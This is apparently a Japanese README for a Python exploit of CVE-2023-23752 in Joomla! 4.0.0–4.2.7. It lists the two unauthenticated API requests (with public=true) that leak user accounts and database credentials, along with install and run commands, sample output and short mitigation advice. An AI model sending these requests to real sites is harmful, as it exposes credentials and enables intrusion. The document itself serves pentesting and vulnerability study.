
CVE-2023-23752 エクスプロイトの Python 移植版 — Joomla! < 4.2.8 認証不要の情報漏洩 (ユーザーリスト + データベース認証情報の漏洩)
⚠️ 免責事項: このツールは教育目的および許可されたペネトレーションテストのみを目的としています。自分が所有しているシステム、または明示的な書面による許可を得たシステムに対してのみ使用してください。許可なく使用することは違法です。
Joomla! は、最も広く使われているオープンソースのコンテンツ管理システム(CMS)の1つです。バージョン 4.0.0 から 4.2.7 では、2つのAPIエンドポイントに適切なアクセス制御がなく、認証されていない攻撃者が、登録ユーザーアカウントや、脆弱な設定ではサイトのデータベース認証情報などの機密情報を取得できる状態にあります。
この脆弱性は、NSFOCUS TIANJI Lab の Zewei Zhang によって発見され、Joomla! プロジェクトに開示されました。バージョン 4.2.8 でパッチがリリースされました。CVE-2023-23752 が割り当てられています。
このリポジトリには、ACCEIS が公開した元の Ruby エクスプロイトの が含まれています。
| フィールド | 値 |
|---|---|
| CVE | CVE-2023-23752 |
| 影響を受けるバージョン | Joomla! 4.0.0 – 4.2.7 |
| タイプ | 不適切なアクセス制御 / 情報漏洩 |
| 必要な権限 | なし(認証不要) |
| 影響 | ユーザーアカウントおよびDB認証情報の漏洩 |
| パッチ | Joomla! 4.2.8(2023年リリース) |
Joomla の REST API ウェブサービスエンドポイントは、データを返す前に認証とアクセスチェックを強制するよう設計されています。影響を受けるバージョンでは、2つのエンドポイントが public=true クエリパラメータ付きで呼び出された場合にこのチェックを正しく実行できず、リクエストを匿名の「パブリック」アクセスレベルからのものとして扱います。本来は非機密データのみを公開するべきですが、内部情報を漏洩してしまいます。
GET /api/index.php/v1/users?public=true
GET /api/index.php/v1/config/application?public=true
スクリプトは以下の手順を自動化します:
1. GETリクエストを /api/index.php/v1/users?public=true に送信
2. JSON:API レスポンスを解析し、ユーザーレコードを抽出
3. GETリクエストを /api/index.php/v1/config/application?public=true に送信
4. JSON:API レスポンスを解析し、サイトおよびデータベース設定を抽出
5. 両方のデータセットをコンソールに出力
認証、セッション、CSRFトークンは一切不要です。攻撃全体は認証されていない 2 つの GET リクエストで完了します。
requestspip install requests --break-system-packages
git clone https://github.com/BardLaudian/CVE-2023-23752.git
cd CVE-2023-23752
pip install requests --break-system-packages
usage: CVE-2023-23752.py [-h] url
positional arguments:
url ターゲットのベースURL(例: http://dev.devvortex.htb)
options:
-h, --help このヘルプメッセージを表示して終了
python3 CVE-2023-23752.py http://127.0.0.1:4242
python3 CVE-2023-23752.py http://dev.devvortex.htb
=== Users ===
[123] Administrator (admin) - [email protected] - ['Super Users']
=== Site info ===
Site name: My Site
Editor: tinymce
Captcha: 0
Access: 1
Debug status: False
=== Database info ===
DB type: mysqli
DB host: localhost
DB user: joomla_user
DB password: ********
DB name: joomla_db
DB prefix: sd8f2_
DB encryption: 0
/api/index.php/* へのアクセスを制限してください。/api/index.php/v1/ ウェブサービスパスへの認証されていないリクエストを監視してください。